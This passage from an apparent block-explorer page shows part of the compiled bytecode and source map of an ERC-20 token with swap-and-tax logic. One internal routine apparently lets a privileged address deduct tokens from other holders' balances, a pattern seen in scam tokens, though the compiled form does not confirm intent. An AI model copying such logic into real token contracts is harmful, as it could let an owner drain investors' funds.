e565b9050610cfe4761102c565b30600090815260016020526040902054600954600160a81b900460ff16158015610d3557506009546001600160a01b038581169116145b8015610d445750600d54600f54115b15610d8257600554811115610d7057610d70610d6b84610d668460065461106a565b61106a565b61107f565b478015610d8057610d804761102c565b505b505b8015610dfe5730600090815260016020526040902054610da490826111f9565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df59085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e219083611258565b6001600160a01b038516600090815260016020526040902055610e66610e478383611258565b6001600160a01b038516600090815260016020526040902054906111f9565b6001600160a01b038085166000818152600160205260409020929092556007541614610949576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ec58585611258565b60405190815260200160405180910390a350505050565b60008184841115610f005760405162461bcd60e51b81526004016103b99190611384565b506000610f0d848661188c565b95945050505050565b60095460408051808201909152600e81526d17dd9b5d9959594819985a5b195960921b60208201523391610f5c918591849186916001600160a01b03168314159061129a565b505050565b600082600003610f7357506000610368565b6000610f7f8385611787565b905082610f8c85836117f0565b14610fe35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b9565b9392505050565b6000610fe383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611356565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611066573d6000803e3d6000fd5b5050565b60008183116110795782610fe3565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c7576110c761185d565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114491906117d3565b816001815181106111575761115761185d565b6001600160a01b03928316602091820292909201015260085461117d913091168461094f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b690859060009086903090429060040161189f565b600060405180830381600087803b1580156111d057600080fd5b505af11580156111e4573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806112068385611911565b905083811015610fe35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b6000610fe383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edc565b8180156112cc57506009546001600160a01b0386811691161415806112cc57506004546001600160a01b038581169116145b81906112eb5760405162461bcd60e51b81526004016103b99190611384565b506001600160a01b03851660009081526001602052604090205461131090849061188c565b6001600160a01b0386166000908152600160205260408120805490919061133890849061188c565b9091555050506001600160a01b039092166000525050600160205250565b600081836113775760405162461bcd60e51b81526004016103b99190611384565b506000610f0d84866117f0565b602081526000825180602084015260005b818110156113b25760208186018101516040868401015201611395565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ee57600080fd5b600080604083850312156113fa57600080fd5b8235611405816113d2565b946020939093013593505050565b60008060006060848603121561142857600080fd5b8335611433816113d2565b92506020840135611443816113d2565b929592945050506040919091013590565b60006020828403121561146657600080fd5b8135610fe3816113d2565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114b0576114b0611471565b604052919050565b600067ffffffffffffffff8211156114d2576114d2611471565b5060051b60200190565b600082601f8301126114ed57600080fd5b81356115006114fb826114b8565b611487565b8082825260208201915060208360051b86010192508583111561152257600080fd5b602085015b8381101561153f578035835260209283019201611527565b5095945050505050565b80151581146103ee57600080fd5b803561156281611549565b919050565b60008060006060848603121561157c57600080fd5b833567ffffffffffffffff81111561159357600080fd5b8401601f810186136115a457600080fd5b80356115b26114fb826114b8565b8082825260208201915060208360051b8501019250888311156115d457600080fd5b6020840193505b828410156115ff5783356115ee816113d2565b8252602093840193909101906115db565b9550505050602084013567ffffffffffffffff81111561161e57600080fd5b61162a868287016114dc565b92505061163960408501611557565b90509250925092565b6000806040838503121561165557600080fd5b8235611660816113d2565b91506020830135611670816113d2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116cc578085048111156116b0576116b061167b565b60018416156116be57908102905b60019390931c928002611695565b935093915050565b6000826116e357506001610368565b816116f057506000610368565b816001811461170657600281146117105761172c565b6001915050610368565b60ff8411156117215761172161167b565b50506001821b610368565b5060208310610133831016604e8410600b841016171561174f575081810a610368565b61175c6000198484611691565b80600019048211156117705761177061167b565b029392505050565b6000610fe360ff8416836116d4565b80820281158282048414176103685761036861167b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117e557600080fd5b8151610fe3816113d2565b60008261180d57634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561182757600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561185257600080fd5b8151610fe381611549565b634e487b7160e01b600052603260045260246000fd5b6000600182016118855761188561167b565b5060010190565b818103818111156103685761036861167b565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118f15783516001600160a01b03168352602093840193909201916001016118ca565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103685761036861167b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122052d450d826084c1e1c1b88110f7d200f398364055dfe2c97f456730798edb55664736f6c634300081a0033
Deployed Bytecode Sourcemap
3852:8330:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5221:83;;;;;;;;;;-1:-1:-1;5291:5:0;;;;;;;;;;;;-1:-1:-1;;;5291:5:0;;;;5221:83;;;;;;;:::i;:::-;;;;;;;;6104:186;;;;;;;;;;-1:-1:-1;6104:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6104:186:0;1054:187:1;4401:42:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;4401:42:0;1246:177:1;5498:95:0;;;;;;;;;;;;;:::i;8705:110::-;;;;;;;;;;;;;:::i;:::-;;6985:393;;;;;;;;;;-1:-1:-1;6985:393:0;;;;;:::i;:::-;;:::i;5407:83::-;;;;;;;;;;-1:-1:-1;5407:83:0;;4687:1;2083:36:1;;2071:2;2056:18;5407:83:0;1941:184:1;5601:119:0;;;;;;;;;;-1:-1:-1;5601:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5694:18:0;5667:7;5694:18;;;:9;:18;;;;;;;5601:119;2663:148;;;;;;;;;;;;;:::i;2819:79::-;;;;;;;;;;-1:-1:-1;2857:7:0;2884:6;2819:79;;-1:-1:-1;;;;;2884:6:0;;;2528:51:1;;2516:2;2501:18;2819:79:0;2382:203:1;5312:87:0;;;;;;;;;;-1:-1:-1;5384:7:0;;;;;;;;;;;;-1:-1:-1;;;5384:7:0;;;;5312:87;;5728:192;;;;;;;;;;-1:-1:-1;5728:192:0;;;;;:::i;:::-;;:::i;4346:48::-;;;;;;;;;;;;;;;;7878:815;;;;;;;;;;;;;:::i;9309:287::-;;;;;;;;;;-1:-1:-1;9309:287:0;;;;;:::i;:::-;;:::i;5928:168::-;;;;;;;;;;-1:-1:-1;5928:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6061:18:0;;;6034:7;6061:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5928:168;6104:186;6204:4;6221:39;278:10;6244:7;6253:6;6221:8;:39::i;:::-;-1:-1:-1;6278:4:0;6104:186;;;;;:::o;5498:95::-;5551:7;4210:15;4687:1;4210:2;:15;:::i;:::-;4194:31;;:13;:31;:::i;:::-;5571:14;;5498:95;:::o;8705:110::-;2946:6;;-1:-1:-1;;;;;2946:6:0;278:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;;;;;;;;;8756:51:::1;::::0;8764:10:::1;::::0;8785:21:::1;8756:51:::0;::::1;;;::::0;::::1;::::0;;;8785:21;8764:10;8756:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8705:110::o:0;6985:393::-;7117:4;7134:36;7144:6;7152:9;7163:6;7134:9;:36::i;:::-;7181:167;7204:6;7225:10;7250:87;7286:6;7250:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7250:19:0;;;;;;:11;:19;;;;;;;;7270:10;7250:31;;;;;;;;;:87;:35;:87::i;:::-;7181:8;:167::i;:::-;-1:-1:-1;7366:4:0;6985:393;;;;;:::o;2663:148::-;2946:6;;-1:-1:-1;;;;;2946:6:0;278:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;2770:1:::1;2754:6:::0;;2733:40:::1;::::0;-1:-1:-1;;;;;2754:6:0;;::::1;::::0;2733:40:::1;::::0;2770:1;;2733:40:::1;2801:1;2784:19:::0;;-1:-1:-1;;;;;;2784:19:0::1;::::0;;2663:148::o;5728:192::-;5831:4;5848:42;278:10;5872:9;5883:6;5848:9;:42::i;7878:815::-;2946:6;;-1:-1:-1;;;;;2946:6:0;278:10;2946:22;2938:67;;;;-1:-1:-1;;;2938:67:0;;;;;;;:::i;:::-;7940:11:::1;::::0;-1:-1:-1;;;7940:11:0;::::1;;;7939:12;7931:48;;;::::0;-1:-1:-1;;;7931:48:0;;8155:2:1;7931:48:0::1;::::0;::::1;8137:21:1::0;8194:2;8174:18;;;8167:30;8233:25;8213:18;;;8206:53;8276:18;;7931:48:0::1;7953:347:1::0;7931:48:0::1;7990:15;:104:::0;;-1:-1:-1;;;;;;7990:104:0::1;8041:42;7990:104:::0;;::::1;::::0;;;8106:58:::1;::::0;8123:4:::1;::::0;4210:15:::1;4687:1;4210:2;:15;:::i;:::-;4194:31;::::0;:13:::1;:31;:::i;8106:58::-;8210:15;;;;;;;;;-1:-1:-1::0;;;;;8210:15:0::1;-1:-1:-1::0;;;;;8210:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8192:55:0::1;;8270:4;8290:15;;;;;;;;;-1:-1:-1::0;;;;;8290:15:0::1;-1:-1:-1::0;;;;;8290:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8192:131;::::0;-1:-1:-1;;;;;;8192:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8753:32:1;;;8192:131:0::1;::::0;::::1;8735:51:1::0;8822:32;;8802:18;;;8795:60;8708:18;;8192:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8176:13;:147:::0;;-1:-1:-1;;;;;8176:147:0;;::::1;-1:-1:-1::0;;;;;;8176:147:0;;::::1;;::::0;;8336:15:::1;::::0;::::1;:31;8375:21;8420:4;8473;8440:24;8420:4:::0;-1:-1:-1;;;;;5694:18:0;5667:7;5694:18;;;:9;:18;;;;;;;5601:119;8440:24:::1;:30;::::0;8467:3:::1;8440:30;:::i;:::-;:37;;;;:::i;:::-;8492:1;8508::::0;8524:7:::1;2857::::0;2884:6;-1:-1:-1;;;;;2884:6:0;;2819:79;8524:7:::1;8336:236;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8336:236:0;;;-1:-1:-1;;;;;9409:32:1;;;8336:236:0::1;::::0;::::1;9391:51:1::0;9458:18;;;9451:34;;;;9501:18;;;9494:34;;;;9544:18;;;9537:34;9608:32;;;9587:19;;;9580:61;8546:15:0::1;9657:19:1::0;;;9650:35;9363:19;;8336:236:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8590:13:0::1;::::0;8621:15:::1;::::0;8583:71:::1;::::0;-1:-1:-1;;;8583:71:0;;-1:-1:-1;;;;;8621:15:0;;::::1;8583:71;::::0;::::1;10331:51:1::0;-1:-1:-1;;10398:18:1;;;10391:34;8590:13:0;::::1;::::0;-1:-1:-1;8583:29:0::1;::::0;10304:18:1;;8583:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8667:11:0::1;:18:::0;;-1:-1:-1;;;;8667:18:0::1;-1:-1:-1::0;;;8667:18:0::1;::::0;;7878:815::o;9309:287::-;9426:11;9418:49;;;;-1:-1:-1;;;9418:49:0;;10888:2:1;9418:49:0;;;10870:21:1;10927:2;10907:18;;;10900:30;10966:27;10946:18;;;10939:55;11011:18;;9418:49:0;10686:349:1;9418:49:0;9483:9;9478:111;9502:9;:16;9498:1;:20;9478:111;;;9540:37;9552:9;9562:1;9552:12;;;;;;;;:::i;:::-;;;;;;;9566:7;9574:1;9566:10;;;;;;;;:::i;:::-;;;;;;;9540:11;:37::i;:::-;9520:3;;9478:111;;;;9309:287;;;:::o;6298:335::-;-1:-1:-1;;;;;6391:19:0;;6383:68;;;;-1:-1:-1;;;6383:68:0;;11374:2:1;6383:68:0;;;11356:21:1;11413:2;11393:18;;;11386:30;11452:34;11432:18;;;11425:62;-1:-1:-1;;;11503:18:1;;;11496:34;11547:19;;6383:68:0;11172:400:1;6383:68:0;-1:-1:-1;;;;;6470:21:0;;6462:68;;;;-1:-1:-1;;;6462:68:0;;11779:2:1;6462:68:0;;;11761:21:1;11818:2;11798:18;;;11791:30;11857:34;11837:18;;;11830:62;-1:-1:-1;;;11908:18:1;;;11901:32;11950:19;;6462:68:0;11577:398:1;6462:68:0;-1:-1:-1;;;;;6541:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6593:32;;1392:25:1;;;6593:32:0;;1365:18:1;6593:32:0;;;;;;;6298:335;;;:::o;9604:2534::-;-1:-1:-1;;;;;9700:20:0;;9692:70;;;;-1:-1:-1;;;9692:70:0;;12182:2:1;9692:70:0;;;12164:21:1;12221:2;12201:18;;;12194:30;12260:34;12240:18;;;12233:62;-1:-1:-1;;;12311:18:1;;;12304:35;12356:19;;9692:70:0;11980:401:1;9692:70:0;-1:-1:-1;;;;;9781:22:0;;9773:70;;;;-1:-1:-1;;;9773:70:0;;12588:2:1;9773:70:0;;;12570:21:1;12627:2;12607:18;;;12600:30;12666:34;12646:18;;;12639:62;-1:-1:-1;;;12717:18:1;;;12710:33;12760:19;;9773:70:0;12386:399:1;9773:70:0;9871:1;9862:6;:10;9854:64;;;;-1:-1:-1;;;9854:64:0;;12992:2:1;9854:64:0;;;12974:21:1;13031:2;13011:18;;;13004:30;13070:34;13050:18;;;13043:62;-1:-1:-1;;;13121:18:1;;;13114:39;13170:19;;9854:64:0;12790:405:1;9854:64:0;9929:17;2884:6;;-1:-1:-1;;;;;9979:17:0;;;2884:6;;9979:17;;;;:53;;-1:-1:-1;2857:7:0;2884:6;-1:-1:-1;;;;;10013:19:0;;;2884:6;;10013:19;;9979:53;:93;;;;-1:-1:-1;;;;;;10049:23:0;;10067:4;10049:23;;9979:93;:135;;;;-1:-1:-1;;;;;;10089:25:0;;10109:4;10089:25;;9979:135;9961:1757;;;10153:33;10182:3;10153:24;10164:12;;10153:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;10235:13;;10141:45;;-1:-1:-1;;;;;;10225:23:0;;;10235:13;;10225:23;:80;;;;-1:-1:-1;10289:15:0;;-1:-1:-1;;;;;10269:36:0;;;10289:15;;10269:36;;10225:80;:130;;;;-1:-1:-1;;;;;;10327:28:0;;;;;;:18;:28;;;;;;;;10326:29;10225:130;10203:475;;;10402:230;10628:3;10402:199;10474:10;;10462:9;;:22;10461:117;;10564:14;;10461:117;;;10517:15;;10461:117;10402:6;;:32;:199::i;:230::-;10651:9;:11;;10390:242;;-1:-1:-1;10651:9:0;:11;;;:::i;:::-;;;;;;10203:475;10710:13;;-1:-1:-1;;;;;10698:25:0;;;10710:13;;10698:25;:52;;;;-1:-1:-1;;;;;;10727:23:0;;10745:4;10727:23;;10698:52;10694:372;;;10783:230;11009:3;10783:199;10855:10;;10843:9;;:22;10842:117;;10945:14;;10842:117;;10783:230;10771:242;;11015:35;11028:21;11015:12;:35::i;:::-;11131:4;11082:28;5694:18;;;:9;:18;;;;;;11175:6;;-1:-1:-1;;;11175:6:0;;;;11174:7;:53;;;;-1:-1:-1;11214:13:0;;-1:-1:-1;;;;;11202:25:0;;;11214:13;;11202:25;11174:53;:104;;;;;11260:18;;11248:9;;:30;11174:104;11152:555;;;11340:17;;11317:20;:40;11313:185;;;11380:118;11424:51;11428:6;11436:38;11440:20;11462:11;;11436:3;:38::i;:::-;11424:3;:51::i;:::-;11380:17;:118::i;:::-;11546:21;11590:22;;11586:106;;11637:35;11650:21;11637:12;:35::i;:::-;11294:413;11152:555;10126:1592;9961:1757;11734:13;;11730:174;;11809:4;11791:24;;;;:9;:24;;;;;;:39;;11820:9;11791:28;:39::i;:::-;11782:4;11764:24;;;;:9;:24;;;;;;;:66;;;;11850:42;;-1:-1:-1;;;;;11850:42:0;;;;;;;11882:9;1392:25:1;;1380:2;1365:18;;1246:177;11850:42:0;;;;;;;;11730:174;-1:-1:-1;;;;;11934:17:0;;;;;;:9;:17;;;;;;:29;;11956:6;11934:21;:29::i;:::-;-1:-1:-1;;;;;11914:17:0;;;;;;:9;:17;;;;;:49;11996:46;12020:21;:6;12031:9;12020:10;:21::i;:::-;-1:-1:-1;;;;;11996:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;11974:19:0;;;;;;;:9;:19;;;;;:68;;;;12069:5;;;12057:17;12053:77;;-1:-1:-1;;;;;12081:49:0;;;;;;;12108:21;:6;12119:9;12108:10;:21::i;:::-;12081:49;;1392:25:1;;;1380:2;1365:18;12081:49:0;;;;;;;9681:2457;9604:2534;;;:::o;1465:224::-;1585:7;1621:12;1613:6;;;;1605:29;;;;-1:-1:-1;;;1605:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1645:9:0;1657:5;1661:1;1657;:5;:::i;:::-;1645:17;1465:224;-1:-1:-1;;;;;1465:224:0:o;9103:198::-;9261:13;;9216:77;;;;;;;;;;;;-1:-1:-1;;;9216:77:0;;;;9195:10;;9216:77;;9225:8;;9195:10;;9243:6;;-1:-1:-1;;;;;9261:13:0;9251:23;;;;9216:8;:77::i;:::-;9167:134;9103:198;;:::o;1697:246::-;1755:7;1779:1;1784;1779:6;1775:47;;-1:-1:-1;1809:1:0;1802:8;;1775:47;1832:9;1844:5;1848:1;1844;:5;:::i;:::-;1832:17;-1:-1:-1;1877:1:0;1868:5;1872:1;1832:17;1868:5;:::i;:::-;:10;1860:56;;;;-1:-1:-1;;;1860:56:0;;13675:2:1;1860:56:0;;;13657:21:1;13714:2;13694:18;;;13687:30;13753:34;13733:18;;;13726:62;-1:-1:-1;;;13804:18:1;;;13797:31;13845:19;;1860:56:0;13473:397:1;1860:56:0;1934:1;1697:246;-1:-1:-1;;;1697:246:0:o;1951:132::-;2009:7;2036:39;2040:1;2043;2036:39;;;;;;;;;;;;;;;;;:3;:39::i;6641:92::-;6698:10;;:27;;-1:-1:-1;;;;;6698:10:0;;;;:27;;;;;6718:6;;6698:10;:27;:10;:27;6718:6;6698:10;:27;;;;;;;;;;;;;;;;;;;;;6641:92;:::o;5106:107::-;5163:7;5195:1;5191;:5;5190:15;;5204:1;5190:15;;;-1:-1:-1;5200:1:0;5106:107;-1:-1:-1;5106:107:0:o;7386:484::-;4735:6;:13;;-1:-1:-1;;;;4735:13:0;-1:-1:-1;;;4735:13:0;;;7489:16:::1;::::0;;7503:1:::1;7489:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7489:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7489:16:0::1;7465:40;;7534:4;7516;7521:1;7516:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7516:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7560:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7560:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7516:7;;7560:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7550:4;7555:1;7550:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7550:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7625:15:::1;::::0;7593:62:::1;::::0;7610:4:::1;::::0;7625:15:::1;7643:11:::0;7593:8:::1;:62::i;:::-;7666:15;::::0;:196:::1;::::0;-1:-1:-1;;;7666:196:0;;-1:-1:-1;;;;;7666:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7747:11;;7666:15:::1;::::0;7789:4;;7816::::1;::::0;7836:15:::1;::::0;7666:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4771:6:0;:14;;-1:-1:-1;;;;4771:14:0;;;-1:-1:-1;;;;7386:484:0:o;1134:179::-;1192:7;;1224:5;1228:1;1224;:5;:::i;:::-;1212:17;;1253:1;1248;:6;;1240:46;;;;-1:-1:-1;;;1240:46:0;;15171:2:1;1240:46:0;;;15153:21:1;15210:2;15190:18;;;15183:30;15249:29;15229:18;;;15222:57;15296:18;;1240:46:0;14969:351:1;1321:136:0;1379:7;1406:43;1410:1;1413;1406:43;;;;;;;;;;;;;;;;;:3;:43::i;8823:272::-;8938:2;:49;;;;-1:-1:-1;8953:13:0;;-1:-1:-1;;;;;8945:21:0;;;8953:13;;8945:21;;;:41;;-1:-1:-1;8976:10:0;;-1:-1:-1;;;;;8970:16:0;;;8976:10;;8970:16;8945:41;8989:3;8930:63;;;;;-1:-1:-1;;;8930:63:0;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;9023:15:0;;;;;;:9;:15;;;;;;:24;;9041:6;;9023:24;:::i;:::-;-1:-1:-1;;;;;9004:15:0;;;;;;:9;:15;;;;;:43;;:15;;;:43;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;;9074:13:0;;;;;-1:-1:-1;;9074:9:0;:13;;-1:-1:-1;8823:272:0:o;2091:223::-;2211:7;2246:12;2239:5;2231:28;;;;-1:-1:-1;;;2231:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2270:9:0;2282:5;2286:1;2282;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2130:247::-;2189:6;2242:2;2230:9;2221:7;2217:23;2213:32;2210:52;;;2258:1;2255;2248:12;2210:52;2297:9;2284:23;2316:31;2341:5;2316:31;:::i;2590:127::-;2651:10;2646:3;2642:20;2639:1;2632:31;2682:4;2679:1;2672:15;2706:4;2703:1;2696:15;2722:275;2793:2;2787:9;2858:2;2839:13;;-1:-1:-1;;2835:27:1;2823:40;;2893:18;2878:34;;2914:22;;;2875:62;2872:88;;;2940:18;;:::i;:::-;2976:2;2969:22;2722:275;;-1:-1:-1;2722:275:1:o;3002:183::-;3062:4;3095:18;3087:6;3084:30;3081:56;;;3117:18;;:::i;:::-;-1:-1:-1;3162:1:1;3158:14;3174:4;3154:25;;3002:183::o;3190:723::-;3244:5;3297:3;3290:4;3282:6;3278:17;3274:27;3264:55;;3315:1;3312;3305:12;3264:55;3355:6;3342:20;3382:64;3398:47;3438:6;3398:47;:::i;:::-;3382:64;:::i;:::-;3470:3;3494:6;3489:3;3482:19;3526:4;3521:3;3517:14;3510:21;;3587:4;3577:6;3574:1;3570:14;3562:6;3558:27;3554:38;3540:52;;3615:3;3607:6;3604:15;3601:35;;;3632:1;3629;3622:12;3601:35;3668:4;3660:6;3656:17;3682:200;3698:6;3693:3;3690:15;3682:200;;;3790:17;;3820:18;;3867:4;3858:14;;;;3715;3682:200;;;-1:-1:-1;3900:7:1;3190:723;-1:-1:-1;;;;;3190:723:1:o;3918:118::-;4004:5;3997:13;3990:21;3983:5;3980:32;3970:60;;4026:1;4023;4016:12;4041:128;4106:20;;4135:28;4106:20;4135:28;:::i;:::-;4041:128;;;:::o;4174:1283::-;4298:6;4306;4314;4367:2;4355:9;4346:7;4342:23;4338:32;4335:52;;;4383:1;4380;4373:12;4335:52;4423:9;4410:23;4456:18;4448:6;4445:30;4442:50;;;4488:1;4485;4478:12;4442:50;4511:22;;4564:4;4556:13;;4552:27;-1:-1:-1;4542:55:1;;4593:1;4590;4583:12;4542:55;4633:2;4620:16;4656:64;4672:47;4712:6;4672:47;:::i;4656:64::-;4742:3;4766:6;4761:3;4754:19;4798:4;4793:3;4789:14;4782:21;;4855:4;4845:6;4842:1;4838:14;4834:2;4830:23;4826:34;4812:48;;4883:7;4875:6;4872:19;4869:39;;;4904:1;4901;4894:12;4869:39;4936:4;4932:2;4928:13;4917:24;;4950:221;4966:6;4961:3;4958:15;4950:221;;;5048:3;5035:17;5065:31;5090:5;5065:31;:::i;:::-;5109:18;;5156:4;4983:14;;;;5147;;;;4950:221;;;5190:5;-1:-1:-1;;;;5248:4:1;5233:20;;5220:34;5279:18;5266:32;;5263:52;;;5311:1;5308;5301:12;5263:52;5334:63;5389:7;5378:8;5367:9;5363:24;5334:63;:::i;:::-;5324:73;;;5416:35;5447:2;5436:9;5432:18;5416:35;:::i;:::-;5406:45;;4174:1283;;;;;:::o;5462:388::-;5530:6;5538;5591:2;5579:9;5570:7;5566:23;5562:32;5559:52;;;5607:1;5604;5597:12;5559:52;5646:9;5633:23;5665:31;5690:5;5665:31;:::i;:::-;5715:5;-1:-1:-1;5772:2:1;5757:18;;5744:32;5785:33;5744:32;5785:33;:::i;:::-;5837:7;5827:17;;;5462:388;;;;;:::o;5855:127::-;5916:10;5911:3;5907:20;5904:1;5897:31;5947:4;5944:1;5937:15;5971:4;5968:1;5961:15;5987:375;6075:1;6093:5;6107:249;6128:1;6118:8;6115:15;6107:249;;;6178:4;6173:3;6169:14;6163:4;6160:24;6157:50;;;6187:18;;:::i;:::-;6237:1;6227:8;6223:16;6220:49;;;6251:16;;;;6220:49;6334:1;6330:16;;;;;6290:15;;6107:249;;;5987:375;;;;;;:::o;6367:902::-;6416:5;6446:8;6436:80;;-1:-1:-1;6487:1:1;6501:5;;6436:80;6535:4;6525:76;;-1:-1:-1;6572:1:1;6586:5;;6525:76;6617:4;6635:1;6630:59;;;;6703:1;6698:174;;;;6610:262;;6630:59;6660:1;6651:10;;6674:5;;;6698:174;6735:3;6725:8;6722:17;6719:43;;;6742:18;;:::i;:::-;-1:-1:-1;;6798:1:1;6784:16;;6857:5;;6610:262;;6956:2;6946:8;6943:16;6937:3;6931:4;6928:13;6924:36;6918:2;6908:8;6905:16;6900:2;6894:4;6891:12;6887:35;6884:77;6881:203;;;-1:-1:-1;6993:19:1;;;7069:5;;6881:203;7116:42;-1:-1:-1;;7141:8:1;7135:4;7116:42;:::i;:::-;7194:6;7190:1;7186:6;7182:19;7173:7;7170:32;7167:58;;;7205:18;;:::i;:::-;7243:20;;6367:902;-1:-1:-1;;;6367:902:1:o;7274:140::-;7332:5;7361:47;7402:4;7392:8;7388:19;7382:4;7361:47;:::i;7419:168::-;7492:9;;;7523;;7540:15;;;7534:22;;7520:37;7510:71;;7561:18;;:::i;7592:356::-;7794:2;7776:21;;;7813:18;;;7806:30;7872:34;7867:2;7852:18;;7845:62;7939:2;7924:18;;7592:356::o;8305:251::-;8375:6;8428:2;8416:9;8407:7;8403:23;8399:32;8396:52;;;8444:1;8441;8434:12;8396:52;8476:9;8470:16;8495:31;8520:5;8495:31;:::i;8866:217::-;8906:1;8932;8922:132;;8976:10;8971:3;8967:20;8964:1;8957:31;9011:4;9008:1;9001:15;9039:4;9036:1;9029:15;8922:132;-1:-1:-1;9068:9:1;;8866:217::o;9696:456::-;9784:6;9792;9800;9853:2;9841:9;9832:7;9828:23;9824:32;9821:52;;;9869:1;9866;9859:12;9821:52;-1:-1:-1;;9914:16:1;;10020:2;10005:18;;9999:25;10116:2;10101:18;;;10095:25;9914:16;;9999:25;;-1:-1:-1;10095:25:1;9696:456;-1:-1:-1;9696:456:1:o;10436:245::-;10503:6;10556:2;10544:9;10535:7;10531:23;10527:32;10524:52;;;10572:1;10569;10562:12;10524:52;10604:9;10598:16;10623:28;10645:5;